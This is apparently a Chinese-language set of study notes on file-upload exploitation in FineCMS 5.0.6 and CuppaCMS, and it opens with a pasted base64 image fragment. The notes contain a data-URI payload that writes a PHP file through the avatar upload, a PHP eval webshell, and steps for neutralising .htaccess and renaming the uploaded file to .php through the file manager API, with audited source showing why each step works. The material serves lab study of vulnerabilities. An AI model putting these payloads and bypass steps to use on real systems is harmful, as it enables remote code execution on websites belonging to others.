Wwe0ymltFy/r1QDwHcXp3azr95dg8lFOAPzJ/lR7Bv4pXD+2IUtMPRUf68rfmbOn+EtD0whoLCNpB/HL85/Xp+FaRpQjsjgr5liq2kp6eWn5Gx0rU88WgCK4uYLSBp7iZIYlGWd2wBSbSV2XCEqkuWCuzk7rxbfazO1h4WtWlbo95IuET3Gf6/ka53Wc3amvme5Ty2lh4+1xsrf3Vu/68vvL2h+EINPn/tDUJjqGoscmaTkKf9kH+f8AKqhRUXeWrObF5nOrH2VJcsOy/U6OtzyQoAKACgAoAKACgAoAKACgAoAKACgAoAKAI54IbqFoZ4kljcYZHXIP4Umk1ZlQnKElKLszlLrwVNY3DXnhq/ewmPJhdiY29u/65rndFp3pux7dPNo1Y+zxkOZd+v8AXpYZH4x1HR3EHiXSpIecC5gGUb+n5H8KPbSjpURTyujiFzYOpfye/wDXy+Z0ena3pmrKDY3sUx67AcMPqp5raM4y2Z5NfCV6D/eRa/L7y/VnMFABQAUAFABQAUAFABQAUAUtQ1fTtLTffXkUHGQGb5j9B1NTKcY7s6KOGrV3anFs5uXxrd6nIbfw1pUt0/Qzyjai/wCfcisHWctKaPXjlNOgufGVFFdlv/XpcWDwZeapOt34n1F7phyttE22Nf8APtj6mhUXJ3qMU80p0I8mDhy+b3/r1+46q1tbeygWC1hSGJeiIuAK6EklZHiVKk6kuabuyamQFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQA10SRCkiK6sMFWGQaBpuLujndR8B6JfMZIYnsps5D27bRn/d6flisJUIPbQ9ahnGKpK0nzLz/AMyj/YnjDSf+QdrSX0Q6R3I5Ptzn+YqOSrH4Xc6freW4j+LS5X3X9L8g/wCEq8SafxqnhmRwOslsSQPy3D9aftakfiiL+zsFV/g1/v8A6X5EsPxI0ZjtuIbu2cdQ8YOPyOf0oWJh1JlkWJWsGmvUvReOPDko41JV9njdf5irVem+pyyynGx+x+K/zLC+K9Abpq1t+L4qvaw7mTy7Fr/l2wPirQF66ta/g+aPaw7gsuxb/wCXb+4gk8b+HIuupof92N2/kKl16a6mscpxsvsfiv8AMoTfEfREO2BLq4Y9AkeM/mRUvEw6HTDIsU9ZNL5kX/CW+IL/AI0rwzKAeklwSFP8h+tL205fDEv+zcHS/j116L+n+Qf2T401b/j+1aLToj1jtx8w/L/4qlyVpbuw/rOWYf8AhU3N93/wf8i3YeAdGtH826WS/mzktcNkE/Qf1zVxw8Fq9TnrZziai5YWivL+vysdJFFHBGscUaxovAVBgD8K2StseTKUpO8ndj6ZIUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFAEU1tBcDE0Mco9HUH+dJpPcuM5w+F2KMvhvQ5jl9Js8nuIVH8qh04PodMcfio7VH97K7eDfDrddLi/AsP60vY0+xqs0xi/5eP8AAB4N8Or00uL8Sx/rR7Gn2B5pjH/y8f4E8fhnQovuaTacf3oQ386apQXQylj8VLeo/vL8Nrb2wxBBFEP9hAv8qtJLY5pVJz+JtktMgKACgAoAKACgAoAKACgAoAKACgAoAKAP/9k=

问题的关键点在于：上传后，不知道上传后的后门文件的具体位置，测试不出来。

改为后门：
data%3Aimage%2Fphp%3Bbase64%2C%2F9j%2FPD9waHAgcGhwaW5mbygpOz8+

黑盒思路：寻找上传点抓包修改突破获取状态码及地址
审计流程：功能点-代码文件-代码块-抓包调试-验证测试

白盒审计

观察，发现其数据包有点像框架。

白盒审计代码：

# 路径信息：finecms/dayrui/controllers/member/Account.php
public function upload() {

    // 创建图片存储文件夹
    $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
    @dr_dir_delete($dir);
    // 目录不存在则创建目录（开发者编写的创建函数）
    !is_dir($dir) && dr_mkdirs($dir);

    # 提取POST参数的tx的值
    if ($_POST['tx']) {
        # file的值就是tx的值（这个除掉空格的做法等于没做）
        $file = str_replace(' ', '+', $_POST['tx']);
        # 获取文件后缀,结果存入$result
        if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
            # 组合：文件路径+文件名+文件后缀
            # D:\phpstudy_pro\WWW\finecms_v5.0.6/uploadfile/member/3/0x0.php
            # $dir = D:\phpstudy_pro\WWW\finecms_v5.0.6/uploadfile + /member/ + 8 /
            # $this->uid = 8
            # $result[2] = 0x0.php
            
            $new_file = $dir.'0x0.'.$result[2];
            # 写入文件内容
            if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                exit(dr_json(0, '目录权限不足或磁盘已满'));
            } else {
                $this->load->library('image_lib');
                $config['create_thumb'] = TRUE;
                $config['thumb_marker'] = '';
                $config['maintain_ratio'] = FALSE;
                $config['source_image'] = $new_file;
                foreach (array(30, 45, 90, 180) as $a) {
                    $config['width'] = $config['height'] = $a;
                    $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                    $this->image_lib->initialize($config);
                    if (!$this->image_lib->resize()) {
                        exit(dr_json(0, '上传错误：'.$this->image_lib->display_errors()));
                        break;
                    }
                }
                list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                !$type && exit(dr_json(0, '图片字符串不规范'));
            }
        } else {

            exit(dr_json(0, '图片字符串不规范'));
        }
    } else {
        exit(dr_json(0, '图片不存在'));
    }

// 上传图片到服务器
    if (defined('UCSSO_API')) {
        $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
        !$rt['code'] && $this->_json(0, fc_lang('通信失败：%s', $rt['msg']));
    }


    exit('1');
}

打开后门地址：

ip地址/uploadfile/member/3/0x0.php

白盒审计-CuppaCms-中间件-.htaccess

黑盒测试

得出的结论：

上传文件时，文件名字自动更改。
上传文件时，无法通过改文件名后缀为php来上传后门。

黑盒思路：存在文件管理上传改名突破，访问后在突破
审计流程：功能点-代码文件-代码块-抓包调试-验证测试

禁止PHP解析的原因：
1. 目录设置解析权限 => 跳出限制的目录
2. .htaccess（Apache特有）拒绝php => 删除/覆盖该文件，跳跃目录

// 这道题的突破口在于改名字！
大致解题过程是这样子的：

1.上传后门图片：
    写一个php后门，将php后门格式改为png
    <?=eval($_POST['x'])?>

2.修改文件名：
    这里要修改的文件名有两个：后门文件的文件名和.htaccess
    它的内容如下：（目录权限控制）
        # Deny the excecution of files with this extensions, recommended put this file in the upload folder
        <FilesMatch "\.(?:inc|php|php5|php4|php3|php2|phtml|py|rb|pl|jsp|asp|htm|shtml|html|exe)$">
            Order allow,deny
            Deny from all
        </FilesMatch>
    把htaccess改为别的什么名字随意，改完它就失效了(这是一种思路，另外一种是把文件上传到其他目录)
    改后门文件时，必须抓包，抓包关键内容如下：
        {
            "from":"//practice_1687786538.jpg", # 这个是原始的文件名
            "to":"//prdphp.php",              # 方法1：这个就是要修改的文件名，把它改回去php，使后门生效，并且从链接当中访问即可
                                              # 方法2：把文件通过../的方式改到别的目录去，并且换掉文件后缀即可。(这里以方法1为主)
            "action":"rename"
        }
    改完放出去，目录出现这个php文件名就是完成修改了。
    这是php文件的链接：
        http://127.0.0.1:8033/media/prdphp.php
    访问的时候，post传参x=phpinfo();
    如果成功，则代表突破成功了！（实验是成功了）

白盒测试

public $allowed_extensions = "*.gif; *.jpg; *.jpeg; *.pdf; *.ico; *.png; *.svg";

// 白名单过滤
$allowed_extensions = str_replace(array("*.", " "),array("", ""), $cuppa->configuration->allowed_extensions);
$allowed_extensions = array_filter(explode(";",$allowed_extensions));
$allowed_extensions = join("|", $allowed_extensions);

'accept_file_types' => 'Filetype not allowed',

'accept_file_types' => '/.('.$allowed_extensions.')$/i',

匹配错误就返回false
if (!preg_match($this->options['accept_file_types'], $file->name)) {
    $file->error = $this->get_error_message('accept_file_types');
    return false;
}


# administrator/js/filemanager/api/index.php
# html代码展示需要修改的内容(差不多是个界面的意思)
# php代码后台接收html传入的需要修改的内容(html修改信息传入php进行处理)


# js
async rename(){
    let newFile = cuppa.trim(this.txtName.value);
    if(!newFile) return;
    newFile = cuppa.getData(PATH_CU_FM).path + "/" + newFile
    if(this.data.ext) newFile += "."+this.data.ext;
    let oldName = cuppa.getData(PATH_CU_FM).path + "/" + this.data.file;

    let data = {"from":oldName,"to":newFile};
    await fileManager.fetch("rename", data);
    this.close();
    fileManager.reload();
}


# php
if($json->action == "rename"){
    $from = CU_FM_ROOT_FOLDER."/".$json->from;
    $to = CU_FM_ROOT_FOLDER."/".$json->to;
    $result = $fileManager->rename($from, $to);
    echo $result;
}
# 改文件名的地方
if($json->action == "copyFile"){
    $from = CU_FM_ROOT_FOLDER."/".$json->from;
    $to = CU_FM_ROOT_FOLDER."/".$json->to;
    // 如果这里的代码只把接收的数据进行文件命名，后缀固定，那么这里是无漏洞的
    $result = $fileManager->copyFile($from, $to);
    echo $result;
}

if($json->action == "copyFolder"){
    $from = CU_FM_ROOT_FOLDER."/".$json->from;
    $to = CU_FM_ROOT_FOLDER."/".$json->to;
    $result = $fileManager->copyFolder($from, $to);
    echo $result;
}